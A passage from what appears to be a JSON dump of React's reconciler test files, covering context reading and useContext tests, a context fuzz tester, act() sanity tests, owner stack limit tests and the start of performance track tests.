referential equality, it would be confusing that you\n    // can call this.setState(), but an autobound render callback \"blocked\" the update.\n    // https://github.com/facebook/react/pull/12470#issuecomment-376917711\n    it('does not bail out if there were no bailouts above it', async () => {\n      const Context = React.createContext(0);\n\n      class Consumer extends React.Component {\n        render() {\n          const contextValue = readContext(Context);\n          return this.props.children(contextValue);\n        }\n      }\n\n      class App extends React.Component {\n        state = {\n          text: 'hello',\n        };\n\n        renderConsumer = context => {\n          Scheduler.log('App#renderConsumer');\n          return <span prop={this.state.text} />;\n        };\n\n        render() {\n          Scheduler.log('App');\n          return (\n            <Context.Provider value={this.props.value}>\n              <Consumer>{this.renderConsumer}</Consumer>\n            </Context.Provider>\n          );\n        }\n      }\n\n      // Initial mount\n      let inst;\n      ReactNoop.render(<App value={1} ref={ref => (inst = ref)} />);\n      await waitForAll(['App', 'App#renderConsumer']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"hello\" />);\n\n      // Update\n      inst.setState({text: 'goodbye'});\n      await waitForAll(['App', 'App#renderConsumer']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"goodbye\" />);\n    });\n\n    it('warns when reading context inside render phase class setState updater', async () => {\n      const ThemeContext = React.createContext('light');\n\n      class Cls extends React.Component {\n        state = {};\n        render() {\n          this.setState(() => {\n            readContext(ThemeContext);\n          });\n          return null;\n        }\n      }\n\n      ReactNoop.render(<Cls />);\n      await waitForAll([]);\n      assertConsoleErrorDev([\n        'Cannot update during an existing state transition (such as within `render`). ' +\n          'Render methods should be a pure function of props and state.\\n' +\n          '    in Cls (at **)',\n        'Context can only be read while React is rendering. ' +\n          'In classes, you can read it in the render method or getDerivedStateFromProps. ' +\n          'In function components, you can read it directly in the function body, ' +\n          'but not inside Hooks like useReducer() or useMemo().\\n' +\n          '    in Cls (at **)',\n      ]);\n    });\n  });\n\n  describe('useContext', () => {\n    it('throws when used in a class component', async () => {\n      const Context = React.createContext(0);\n      class Foo extends React.Component {\n        render() {\n          return useContext(Context);\n        }\n      }\n      ReactNoop.render(<Foo />);\n      await waitForThrow(\n        'Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen' +\n          ' for one of the following reasons:\\n' +\n          '1. You might have mismatching versions of React and the renderer (such as React DOM)\\n' +\n          '2. You might be breaking the Rules of Hooks\\n' +\n          '3. You might have more than one copy of React in the same app\\n' +\n          'See https://react.dev/link/invalid-hook-call for tips about how to debug and fix this problem.',\n      );\n    });\n\n    it('warns when passed a consumer', async () => {\n      const Context = React.createContext(0);\n      function Foo() {\n        return useContext(Context.Consumer);\n      }\n      ReactNoop.render(<Foo />);\n      await waitForAll([]);\n      assertConsoleErrorDev([\n        'Calling useContext(Context.Consumer) is not supported and will cause bugs. ' +\n          'Did you mean to call useContext(Context) instead?\\n' +\n          '    in Foo (at **)',\n      ]);\n    });\n\n    // Context consumer bails out on propagating \"deep\" updates when `value` hasn't changed.\n    // However, it doesn't bail out from rendering if the component above it re-rendered anyway.\n    // If we bailed out on referential equality, it would be confusing that you\n    // can call this.setState(), but an autobound render callback \"blocked\" the update.\n    // https://github.com/facebook/react/pull/12470#issuecomment-376917711\n    it('does not bail out if there were no bailouts above it', async () => {\n      const Context = React.createContext(0);\n\n      function Consumer({children}) {\n        const contextValue = useContext(Context);\n        return children(contextValue);\n      }\n\n      class App extends React.Component {\n        state = {\n          text: 'hello',\n        };\n\n        renderConsumer = context => {\n          Scheduler.log('App#renderConsumer');\n          return <span prop={this.state.text} />;\n        };\n\n        render() {\n          Scheduler.log('App');\n          return (\n            <Context.Provider value={this.props.value}>\n              <Consumer>{this.renderConsumer}</Consumer>\n            </Context.Provider>\n          );\n        }\n      }\n\n      // Initial mount\n      let inst;\n      ReactNoop.render(<App value={1} ref={ref => (inst = ref)} />);\n      await waitForAll(['App', 'App#renderConsumer']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"hello\" />);\n\n      // Update\n      inst.setState({text: 'goodbye'});\n      await waitForAll(['App', 'App#renderConsumer']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"goodbye\" />);\n    });\n  });\n\n  it('unwinds after errors in complete phase', async () => {\n    const Context = React.createContext(0);\n\n    // This is a regression test for stack misalignment\n    // caused by unwinding the context from wrong point.\n    ReactNoop.render(\n      <errorInCompletePhase>\n        <Context.Provider value={null} />\n      </errorInCompletePhase>,\n    );\n    await waitForThrow('Error in host config.');\n\n    ReactNoop.render(\n      <Context.Provider value={10}>\n        <Context.Consumer>{value => <span prop={value} />}</Context.Consumer>\n      </Context.Provider>,\n    );\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop={10} />);\n  });\n\n  describe('fuzz test', () => {\n    const contextKeys = ['A', 'B', 'C', 'D', 'E', 'F', 'G'];\n\n    const FLUSH_ALL = 'FLUSH_ALL';\n    function flushAll() {\n      return {\n        type: FLUSH_ALL,\n        toString() {\n          return `flushAll()`;\n        },\n      };\n    }\n\n    const FLUSH = 'FLUSH';\n    function flush(unitsOfWork) {\n      return {\n        type: FLUSH,\n        unitsOfWork,\n        toString() {\n          return `flush(${unitsOfWork})`;\n        },\n      };\n    }\n\n    const UPDATE = 'UPDATE';\n    function update(key, value) {\n      return {\n        type: UPDATE,\n        key,\n        value,\n        toString() {\n          return `update('${key}', ${value})`;\n        },\n      };\n    }\n\n    function randomInteger(min, max) {\n      min = Math.ceil(min);\n      max = Math.floor(max);\n      return Math.floor(Math.random() * (max - min)) + min;\n    }\n\n    function randomAction() {\n      switch (randomInteger(0, 3)) {\n        case 0:\n          return flushAll();\n        case 1:\n          return flush(randomInteger(0, 500));\n        case 2:\n          const key = contextKeys[randomInteger(0, contextKeys.length)];\n          const value = randomInteger(1, 10);\n          return update(key, value);\n        default:\n          throw new Error('Switch statement should be exhaustive');\n      }\n    }\n\n    function randomActions(n) {\n      const actions = [];\n      for (let i = 0; i < n; i++) {\n        actions.push(randomAction());\n      }\n      return actions;\n    }\n\n    function ContextSimulator(maxDepth) {\n      const contexts = new Map(\n        contextKeys.map(key => {\n          const Context = React.createContext(0);\n          Context.displayName = 'Context' + key;\n          return [key, Context];\n        }),\n      );\n\n      class ConsumerTree extends React.Component {\n        shouldComponentUpdate() {\n          return false;\n        }\n        render() {\n          Scheduler.log();\n          if (this.props.depth >= this.props.maxDepth) {\n            return null;\n          }\n          const consumers = [0, 1, 2].map(i => {\n            const randomKey =\n              contextKeys[\n                this.props.rand.intBetween(0, contextKeys.length - 1)\n              ];\n            const Context = contexts.get(randomKey);\n            return (\n              <Context.Consumer key={i}>\n                {value => (\n                  <>\n                    <span prop={`${randomKey}:${value}`} />\n                    <ConsumerTree\n                      rand={this.props.rand}\n                      depth={this.props.depth + 1}\n                      maxDepth={this.props.maxDepth}\n                    />\n                  </>\n                )}\n              </Context.Consumer>\n            );\n          });\n          return consumers;\n        }\n      }\n\n      function Root(props) {\n        return contextKeys.reduceRight(\n          (children, key) => {\n            const Context = contexts.get(key);\n            const value = props.values[key];\n            return (\n              <Context.Provider value={value}>{children}</Context.Provider>\n            );\n          },\n          <ConsumerTree\n            rand={props.rand}\n            depth={0}\n            maxDepth={props.maxDepth}\n          />,\n        );\n      }\n\n      const initialValues = contextKeys.reduce(\n        (result, key, i) => ({...result, [key]: i + 1}),\n        {},\n      );\n\n      function assertConsistentTree(expectedValues = {}) {\n        const jsx = ReactNoop.getChildrenAsJSX();\n        const children = jsx === null ? [] : jsx.props.children;\n        children.forEach(child => {\n          const text = child.props.prop;\n          const key = text[0];\n          const value = parseInt(text[2], 10);\n          const expectedValue = expectedValues[key];\n          if (expectedValue === undefined) {\n            // If an expected value was not explicitly passed to this function,\n            // use the first occurrence.\n            expectedValues[key] = value;\n          } else if (value !== expectedValue) {\n            throw new Error(\n              `Inconsistent value! Expected: ${key}:${expectedValue}. Actual: ${text}`,\n            );\n          }\n        });\n      }\n\n      function simulate(seed, actions) {\n        const rand = gen.create(seed);\n        let finalExpectedValues = initialValues;\n        function updateRoot() {\n          ReactNoop.render(\n            <Root\n              maxDepth={maxDepth}\n              rand={rand}\n              values={finalExpectedValues}\n            />,\n          );\n        }\n        updateRoot();\n\n        actions.forEach(action => {\n          switch (action.type) {\n            case FLUSH_ALL:\n              Scheduler.unstable_flushAllWithoutAsserting();\n              break;\n            case FLUSH:\n              Scheduler.unstable_flushNumberOfYields(action.unitsOfWork);\n              break;\n            case UPDATE:\n              finalExpectedValues = {\n                ...finalExpectedValues,\n                [action.key]: action.value,\n              };\n              updateRoot();\n              break;\n            default:\n              throw new Error('Switch statement should be exhaustive');\n          }\n          assertConsistentTree();\n        });\n\n        Scheduler.unstable_flushAllWithoutAsserting();\n        assertConsistentTree(finalExpectedValues);\n      }\n\n      return {simulate};\n    }\n\n    it('hard-coded tests', () => {\n      const {simulate} = ContextSimulator(5);\n      simulate('randomSeed', [flush(3), update('A', 4)]);\n    });\n\n    it('generated tests', () => {\n      const {simulate} = ContextSimulator(5);\n\n      const LIMIT = 100;\n      for (let i = 0; i < LIMIT; i++) {\n        const seed = Math.random().toString(36).slice(2, 7);\n        const actions = randomActions(5);\n        try {\n          simulate(seed, actions);\n        } catch (error) {\n          console.error(`\nContext fuzz tester error! Copy and paste the following line into the test suite:\n  simulate('${seed}', ${actions.join(', ')});\n`);\n          throw error;\n        }\n      }\n    });\n  });\n\n  it('should treat Context as Context.Provider', async () => {\n    const BarContext = React.createContext({value: 'bar-initial'});\n    expect(BarContext.Provider).toBe(BarContext);\n\n    function Component() {\n      return (\n        <BarContext value={{value: 'bar-updated'}}>\n          <BarContext.Consumer>\n            {({value}) => <span prop={value} />}\n          </BarContext.Consumer>\n        </BarContext>\n      );\n    }\n\n    ReactNoop.render(<Component />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"bar-updated\" />);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactNoopRendererAct-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @jest-environment node\n */\n\n// sanity tests for act()\n\nconst React = require('react');\nconst ReactNoop = require('react-noop-renderer');\nconst Scheduler = require('scheduler');\nconst act = require('internal-test-utils').act;\nconst {assertLog, waitForAll} = require('internal-test-utils');\n\n// TODO: These tests are no longer specific to the noop renderer\n// implementation. They test the internal implementation we use in the React\n// test suite.\ndescribe('internal act()', () => {\n  it('can use act to flush effects', async () => {\n    function App(props) {\n      React.useEffect(props.callback);\n      return null;\n    }\n\n    const calledLog = [];\n    await act(() => {\n      ReactNoop.render(\n        <App\n          callback={() => {\n            calledLog.push(calledLog.length);\n          }}\n        />,\n      );\n    });\n    await waitForAll([]);\n    expect(calledLog).toEqual([0]);\n  });\n\n  it('should work with async/await', async () => {\n    function App() {\n      const [ctr, setCtr] = React.useState(0);\n      async function someAsyncFunction() {\n        Scheduler.log('stage 1');\n        await null;\n        Scheduler.log('stage 2');\n        await null;\n        setCtr(1);\n      }\n      React.useEffect(() => {\n        someAsyncFunction();\n      }, []);\n      return ctr;\n    }\n    await act(() => {\n      ReactNoop.render(<App />);\n    });\n    assertLog(['stage 1', 'stage 2']);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput('1');\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactOwnerStacks-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet ReactNoopServer;\nlet Scheduler;\nlet act;\nlet advanceTimersByTime;\nlet assertLog;\nlet serverAct;\nlet waitFor;\n\ndescribe('ReactOwnerStacks', () => {\n  beforeEach(function () {\n    let time = 10;\n    advanceTimersByTime = timeMS => {\n      jest.advanceTimersByTime(timeMS);\n      time += timeMS;\n    };\n\n    const now = jest.fn().mockImplementation(() => {\n      return time++;\n    });\n    Object.defineProperty(performance, 'timeOrigin', {\n      value: time,\n      configurable: true,\n    });\n    Object.defineProperty(performance, 'now', {\n      value: now,\n      configurable: true,\n    });\n\n    jest.resetModules();\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    ReactNoopServer = require('react-noop-renderer/server');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    assertLog = require('internal-test-utils').assertLog;\n    serverAct = require('internal-test-utils').serverAct;\n    waitFor = require('internal-test-utils').waitFor;\n  });\n\n  function normalizeCodeLocInfo(str) {\n    return (\n      str &&\n      str.replace(/\\n +(?:at|in) ([\\S]+)[^\\n]*/g, function (m, name) {\n        return '\\n    in ' + name + ' (at **)';\n      })\n    );\n  }\n\n  it('behavior in production', () => {\n    if (!__DEV__) {\n      if (gate('fb')) {\n        expect(React).toHaveProperty('captureOwnerStack', undefined);\n      } else {\n        expect(React).not.toHaveProperty('captureOwnerStack');\n      }\n    }\n  });\n\n  // @gate __DEV__\n  it('can get the component owner stacks during rendering in dev', async () => {\n    let stack;\n\n    function Foo() {\n      return <Bar />;\n    }\n    function Bar() {\n      return (\n        <div>\n          <Baz />\n        </div>\n      );\n    }\n    function Baz() {\n      stack = React.captureOwnerStack();\n      return <span>hi</span>;\n    }\n\n    await act(() => {\n      ReactNoop.render(\n        <div>\n          <Foo />\n        </div>,\n      );\n    });\n\n    expect(normalizeCodeLocInfo(stack)).toBe(\n      '\\n    in Bar (at **)' + '\\n    in Foo (at **)',\n    );\n  });\n\n  it('returns null outside of render', async () => {\n    // Awkward to gate since some builds will have `captureOwnerStack` return null in prod\n    if (__DEV__) {\n      expect(React.captureOwnerStack()).toBe(null);\n\n      await act(() => {\n        ReactNoop.render(<div />);\n      });\n\n      expect(React.captureOwnerStack()).toBe(null);\n    }\n  });\n\n  // @gate __DEV__\n  it('cuts off at the owner stack limit', async () => {\n    function App({siblingsBeforeStackOne}) {\n      const children = [];\n      for (\n        let i = 0;\n        i <\n        siblingsBeforeStackOne -\n          // <App /> callsite\n          1 -\n          // Stop so that OwnerStackOne will be right before cutoff\n          1;\n        i++\n      ) {\n        children.push(<Component key={i} />);\n      }\n      children.push(<OwnerStackOne key=\"stackOne\" />);\n      children.push(<OwnerStackTwo key=\"stackTwo\" />);\n\n      return children;\n    }\n\n    function Component() {\n      return null;\n    }\n\n    let stackOne;\n    function OwnerStackOne() {\n      stackOne = React.captureOwnerStack();\n    }\n\n    let stackTwo;\n    function OwnerStackTwo() {\n      stackTwo = React.captureOwnerStack();\n    }\n\n    await act(() => {\n      ReactNoop.render(\n        <App\n          key=\"one\"\n          // Should be the value with of `ownerStackLimit` with `__VARIANT__` so that we see the cutoff\n          siblingsBeforeStackOne={500}\n        />,\n      );\n    });\n\n    expect({\n      pendingTimers: jest.getTimerCount(),\n      stackOne: normalizeCodeLocInfo(stackOne),\n      stackTwo: normalizeCodeLocInfo(stackTwo),\n    }).toEqual({\n      pendingTimers: 0,\n      stackOne: '\\n    in App (at **)',\n      stackTwo: __VARIANT__\n        ? // captured right after cutoff\n          '\\n    in UnknownOwner (at **)'\n        : // We never hit the limit outside __VARIANT__\n          '\\n    in App (at **)',\n    });\n\n    await act(() => {\n      ReactNoop.render(\n        <App\n          // TODO: Owner Stacks should update on re-render.\n          key=\"two\"\n          siblingsBeforeStackOne={0}\n        />,\n      );\n    });\n\n    expect({\n      pendingTimers: jest.getTimerCount(),\n      stackOne: normalizeCodeLocInfo(stackOne),\n      stackTwo: normalizeCodeLocInfo(stackTwo),\n    }).toEqual({\n      pendingTimers: 0,\n      stackOne: __VARIANT__\n        ? // We re-rendered immediately so not enough time has ellapsed to reset the limit.\n          '\\n    in UnknownOwner (at **)'\n        : // We never hit the limit outside __VARIANT__\n          '\\n    in App (at **)',\n      stackTwo: __VARIANT__\n        ? // We re-rendered immediately so not enough time has ellapsed to reset the limit.\n          '\\n    in UnknownOwner (at **)'\n        : // We never hit the limit outside __VARIANT__\n          '\\n    in App (at **)',\n    });\n\n    // advance time so that we reset the limit\n    advanceTimersByTime(1001);\n\n    await act(() => {\n      ReactNoop.render(\n        <App\n          // TODO: Owner Stacks should update on re-render.\n          key=\"three\"\n          // We reset after <App /> so we need to render one more\n          // to have similar cutoff as the initial render (key=\"one\")\n          siblingsBeforeStackOne={501}\n        />,\n      );\n    });\n\n    expect({\n      pendingTimers: jest.getTimerCount(),\n      stackOne: normalizeCodeLocInfo(stackOne),\n      stackTwo: normalizeCodeLocInfo(stackTwo),\n    }).toEqual({\n      pendingTimers: 0,\n      stackOne: '\\n    in App (at **)',\n      stackTwo: __VARIANT__\n        ? // captured right after cutoff\n          '\\n    in UnknownOwner (at **)'\n        : // We never hit the limit outside __VARIANT__\n          '\\n    in App (at **)',\n    });\n  });\n\n  // @gate __DEV__\n  it('Fiber: resets the owner stack limit periodically', async () => {\n    function App({siblingsBeforeStackOne, timeout}) {\n      const children = [];\n      for (\n        let i = 0;\n        i <\n        siblingsBeforeStackOne -\n          // <App /> callsite\n          1 -\n          // Stop so that OwnerStackOne will be right before cutoff\n          1;\n        i++\n      ) {\n        children.push(<Component key={i} />);\n      }\n      children.push(<OwnerStackOne key=\"stackOne\" />);\n      children.push(<OwnerStackDelayed key=\"stackTwo\" timeout={timeout} />);\n\n      return children;\n    }\n\n    function Component() {\n      return null;\n    }\n\n    let stackOne;\n    function OwnerStackOne() {\n      Scheduler.log('render OwnerStackOne');\n      stackOne = React.captureOwnerStack();\n    }\n\n    let stackTwo;\n    function OwnerStackTwo() {\n      Scheduler.log('render OwnerStackTwo');\n      stackTwo = React.captureOwnerStack();\n    }\n    function OwnerStackDelayed({timeout}) {\n      Scheduler.log('render OwnerStackDelayed');\n      React.use(timeout);\n      return <OwnerStackTwo />;\n    }\n\n    React.startTransition(() => {\n      ReactNoop.render(\n        <App\n          key=\"one\"\n          // Should be the value with of `ownerStackLimit` with `__VARIANT__` so that we see the cutoff\n          siblingsBeforeStackOne={500}\n          timeout={\n            new Promise(resolve =>\n              setTimeout(\n                resolve,\n                // Must be greater or equal then the reset interval\n                1000,\n              ),\n            )\n          }\n        />,\n      );\n    });\n\n    await waitFor(['render OwnerStackOne', 'render OwnerStackDelayed']);\n\n    expect({\n      pendingTimers: jest.getTimerCount(),\n      stackOne: normalizeCodeLocInfo(stackOne),\n      stackTwo: normalizeCodeLocInfo(stackTwo),\n    }).toEqual({\n      // 1 for the timeout\n      pendingTimers: 1,\n      stackOne: '\\n    in App (at **)',\n      stackTwo: undefined,\n    });\n\n    // resolve `timeout` Promise\n    advanceTimersByTime(1000);\n\n    await waitFor(['render OwnerStackDelayed', 'render OwnerStackTwo']);\n\n    expect({\n      pendingTimers: jest.getTimerCount(),\n      stackOne: normalizeCodeLocInfo(stackOne),\n      stackTwo: normalizeCodeLocInfo(stackTwo),\n    }).toEqual({\n      pendingTimers: 0,\n      stackOne: '\\n    in App (at **)',\n      stackTwo: __VARIANT__\n        ? // We don't reset in Fiber until we start a new render.\n          // Here we just continued after a ping.\n          '\\n    in UnknownOwner (at **)' + '\\n    in UnknownOwner (at **)'\n        : // We never hit the limit outside __VARIANT__\n          '\\n    in OwnerStackDelayed (at **)' + '\\n    in App (at **)',\n    });\n  });\n\n  // @gate __DEV__\n  it('Fizz: resets the owner stack limit periodically', async () => {\n    function App({siblingsBeforeStackOne, timeout}) {\n      const children = [];\n      for (\n        let i = 0;\n        i <\n        siblingsBeforeStackOne -\n          // <App /> callsite\n          1 -\n          // Stop so that OwnerStackOne will be right before cutoff\n          1;\n        i++\n      ) {\n        children.push(<Component key={i} />);\n      }\n      children.push(<OwnerStackOne key=\"stackOne\" />);\n      children.push(<OwnerStackDelayed key=\"stackTwo\" timeout={timeout} />);\n\n      return children;\n    }\n\n    function Component() {\n      return null;\n    }\n\n    let stackOne;\n    function OwnerStackOne() {\n      Scheduler.log('render OwnerStackOne');\n      stackOne = React.captureOwnerStack();\n    }\n\n    let stackTwo;\n    function OwnerStackTwo() {\n      Scheduler.log('render OwnerStackTwo');\n      stackTwo = React.captureOwnerStack();\n    }\n    function OwnerStackDelayed({timeout}) {\n      Scheduler.log('render OwnerStackDelayed');\n      React.use(timeout);\n      return <OwnerStackTwo />;\n    }\n\n    ReactNoopServer.render(\n      <App\n        key=\"one\"\n        // Should be the value with of `ownerStackLimit` with `__VARIANT__` so that we see the cutoff\n        siblingsBeforeStackOne={500}\n        timeout={\n          new Promise(resolve =>\n            setTimeout(\n              resolve,\n              // Must be greater or equal then the reset interval\n              1000,\n            ),\n          )\n        }\n      />,\n    );\n\n    assertLog(['render OwnerStackOne', 'render OwnerStackDelayed']);\n\n    expect({\n      pendingTimers: jest.getTimerCount(),\n      stackOne: normalizeCodeLocInfo(stackOne),\n      stackTwo: normalizeCodeLocInfo(stackTwo),\n    }).toEqual({\n      // 1 for the timeout\n      pendingTimers: 1,\n      stackOne: '\\n    in App (at **)',\n      stackTwo: undefined,\n    });\n\n    await serverAct(() => {\n      advanceTimersByTime(1000);\n    });\n\n    expect({\n      pendingTimers: jest.getTimerCount(),\n      stackOne: normalizeCodeLocInfo(stackOne),\n      stackTwo: normalizeCodeLocInfo(stackTwo),\n    }).toEqual({\n      pendingTimers: 0,\n      stackOne: '\\n    in App (at **)',\n      stackTwo: __VARIANT__\n        ? // We don't reset in Fiber until we start a new render.\n          // Here we just continued after a ping.\n          '\\n    in UnknownOwner (at **)' + '\\n    in UnknownOwner (at **)'\n        : // We never hit the limit outside __VARIANT__\n          '\\n    in OwnerStackDelayed (at **)' + '\\n    in App (at **)',\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactPerformanceTrack-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet useEffect;\n\ndescribe('ReactPerformanceTracks', () => {\n  const performanceMeasureCalls = [];\n\n  beforeEach(() => {\n    performanceMeasureCalls.length = 0;\n    Object.defineProperty(performance, 'measure', {\n      value: jest.fn((measureName, reusableOptions) => {\n        performanceMeasureCalls.push([\n          measureName,\n          {\n            // React will mutate the options it passes to performance.measure.\n            ...reusableOptions,\n          },\n        ]);\n      }),\n      configurable: true,\n    });\n    console.timeStamp = () => {};\n    jest.spyOn(console, 'timeStamp').mockImplementation(() => {});\n\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    useEffect = React.useEffect;\n  });\n\n  function getConsoleTimestampEntries() {\n    try {\n      return console.timeStamp.mock.calls.filter(call => {\n        const [, startTime, endTime] = call;\n\n        const isRegisterTrackCall = startTime !== 0.003 && endTime !== 0.003;\n        return isRegisterTrackCall;\n      });\n    } finally {\n      console.timeStamp.mockClear();\n    }\n  }\n\n  // @gate __DEV__ && enableComponentPerformanceTrack\n  it('shows a hint if an update is triggered by a deeply equal object', async () => {\n    const App = function App({items}) {\n      Scheduler.unstable_advanceTime(10);\n      useEffect(() => {}, [items]);\n    };\n\n    Scheduler.unstable_advanceTime(1);\n    const items = ['one', 'two'];\n    await act(() => {\n      ReactNoop.render(<App items={items} />);\n    });\n\n    expect(performanceMeasureCalls).toEqual([\n      [\n        'Mount',\n        {\n          detail: {\n            devtools: {\n              color: 'warning',\n              properties: null,\n              tooltipText: 'Mount',\n              track: 'Components ⚛',\n            },\n          },\n          end: 11,\n          start: 1,\n        },\n      ],\n    ]);\n    performanceMeasureCalls.length = 0;\n\n    Scheduler.unstable_advanceTime(10);\n    await act(() => {\n      ReactNoop.render(<App items={items.concat('4')} />);\n    });\n\n    expect(performanceMeasureCalls).toEqual([\n      [\n        '​App',\n        {\n          detail: {\n            devtools: {\n              color: 'primary-dark',\n              properties: [\n                ['Changed Props', ''],\n                ['  items', 'Array'],\n                ['+   2', '…'],\n              ],\n              tooltipText: 'App',\n              track: 'Components ⚛',\n            },\n          },\n          end: 31,\n          start: 21,\n        },\n      ],\n    ]);\n  });\n\n  // @gate __DEV__ && enableComponentPerformanceTrack\n  it('bails out of diffing wide arrays', async () => {\n    const App = function App({items}) {\n      Scheduler.unstable_advanceTime(10);\n      React.useEffect(() => {}, [items]);\n    };\n\n    Scheduler.unstable_advanceTime(1);\n    const items = Array.from({length: 1000}, (_, i) => i);\n    await act(() => {\n      ReactNoop.render(<App items={items} />);\n    });\n\n    expect(performanceMeasureCalls).toEqual([\n      [\n        'Mount',\n        {\n          detail: {\n            devtools: {\n              color: 'warning',\n              properties: null,\n              tooltipText: 'Mount',\n              track: 'Components ⚛',\n            },\n          },\n          end: 11,\n          start: 1,\n        },\n      ],\n    ]);\n    performanceMeasureCalls.length = 0;\n\n    Scheduler.unstable_advanceTime(10);\n    await act(() => {\n      ReactNoop.render(<App items={items.concat('-1')} />);\n    });\n\n    expect(performanceMeasureCalls).toEqual([\n      [\n        '​App',\n        {\n          detail: {\n            devtools: {\n              color: 'primary-dark',\n              properties: [\n                ['Changed Props', ''],\n                ['  items', 'Array'],\n                [\n                  'Previous object has more than 100 properties. React will not attempt to diff objects with too many properties.',\n                  '',\n                ],\n                [\n                  'Next object has more than 100 properties. React will not attempt to diff objects with too many properties.',\n                  '',\n                ],\n              ],\n              tooltipText: 'App',\n              track: 'Components ⚛',\n            },\n          },\n          end: 31,\n          start: 21,\n        },\n      ],\n    ]);\n  });\n\n  // @gate __DEV__ && enableComponentPerformanceTrack\n  it('does not show all properties of wide objects', async () => {\n    const App = function App({items}) {\n      Scheduler.unstable_advanceTime(10);\n      React.useEffect(() => {}, [items]);\n    };\n\n    Scheduler.unstable_advanceTime(1);\n    await act(() => {\n      ReactNoop.render(<App data={{buffer: null}} />);\n    });\n\n    expect(performanceMeasureCalls).toEqual([\n      [\n        'Mount',\n        {\n          detail: {\n            devtools: {\n              color: 'warning',\n              properties: null,\n              tooltipText: 'Mount',\n              track: 'Components ⚛',\n            },\n          },\n          end: 11,\n          start: 1,\n        },\n      ],\n    ]);\n    performanceMeasureCalls.length = 0;\n\n    Scheduler.unstable_advanceTime(10);\n\n    const bigData = new Uint8Array(1000);\n    await act(() => {\n      ReactNoop.render(<App data={{buffer: bigData}} />);\n    });\n\n    expect(performanceMeasureCalls).toEqual([\n      [\n        '​App',\n        {\n          detail: {\n            devtools: {\n              color: 'primary-dark',\n              properties: [\n                ['Changed Props', ''],\n                ['  data', ''],\n                ['-   buffer', 'null'],\n                ['+   buffer', 'Uint8Array'],\n                ['+     0', '0'],\n                ['+     1', '0'],\n                ['+     2', '0'],\n                ['+     3', '0'],\n                ['+     4', '0'],\n                ['+     5', '0'],\n                ['+     6', '0'],\n                ['+     7', '0'],\n                ['+     8', '0'],\n                ['+     9', '0'],\n                ['+     10', '0'],\n                ['+     11', '0'],\n                ['+     12', '0'],\n                ['+     13', '0'],\n                ['+     14', '0'],\n                ['+     15', '0'],\n                ['+     16', '0'],\n                ['+     17', '0'],\n                ['+     18', '0'],\n                ['+     19', '0'],\n                ['+     20', '0'],\n                ['+     21', '0'],\n                ['+     22', '0'],\n                ['+     23', '0'],\n                ['+     24', '0'],\n                ['+     25', '0'],\n                ['+     26', '0'],\n                ['+     27', '0'],\n                ['+     28', '0'],\n                ['+     29', '0'],\n                ['+     30', '0'],\n                ['+     31', '0'],\n                ['+     32', '0'],\n                ['+     33', '0'],\n                ['+     34', '0'],\n                ['+     35', '0'],\n                ['+     36', '0'],\n                ['+     37', '0'],\n                ['+     38', '0'],\n                ['+     39', '0'],\n                ['+     40', '0'],\n                ['+     41', '0'],\n                ['+     42', '0'],\n                ['+     43', '0'],\n                ['+     44', '0'],\n                ['+     45', '0'],\n                ['+     46', '0'],\n                ['+     47', '0'],\n                ['+     48', '0'],\n                ['+     49', '0'],\n                ['+     50', '0'],\n                ['+     51', '0'],\n                ['+     52', '0'],\n                ['+     53', '0'],\n                ['+     54', '0'],\n                ['+     55', '0'],\n                ['+     56', '0'],\n                ['+     57', '0'],\n                ['+     58', '0'],\n                ['+     59', '0'],\n                ['+     60', '0'],\n                ['+     61', '0'],\n                ['+     62', '0'],\n                ['+     63', '0'],\n                ['+     64', '0'],\n                ['+     65', '0'],\n                ['+     66', '0'],\n                ['+     67', '0'],\n                ['+     68', '0'],\n                ['+     69', '0'],\n                ['+     70', '0'],\n                ['+     71', '0'],\n                ['+     72', '0'],\n                ['+     73', '0'],\n                ['+     74', '0'],\n                ['+     75', '0'],\n                ['+     76', '0'],\n                ['+     77', '0'],\n                ['+     78', '0'],\n                ['+     79', '0'],\n                ['+     80', '0'],\n                ['+     81', '0'],\n                ['+     82', '0'],\n                ['+     83', '0'],\n                ['+     84', '0'],\n                ['+     85', '0'],\n                ['+     86', '0'],\n                ['+     87', '0'],\n                ['+     88', '0'],\n                ['+     89', '0'],\n                ['+     90', '0'],\n                ['+     91', '0'],\n                ['+     92', '0'],\n                ['+     93', '0'],\n                ['+     94', '0'],\n                ['+     95', '0'],\n                ['+     96', '0'],\n                ['+     97', '0'],\n                ['+     98', '0'],\n                ['+     99', '0'],\n                [\n                  '+     Only 100 properties are shown. React will not log more properties of this object.',\n                  '',\n                ],\n              ],\n              tooltipText: 'App',\n              track: 'Components ⚛',\n            },\n          },\n          end: 31,\n          start: 21,\n        },\n      ],\n    ]);\n  });\n\n  // @gate __DEV__ && enableComponentPerformanceTrack\n  it('includes console.timeStamp spans for Components with no prop changes', async () => {\n    function Left({value}) {\n      Scheduler.unstable_advanceTime(5000);\n    }\n    function Right() {\n      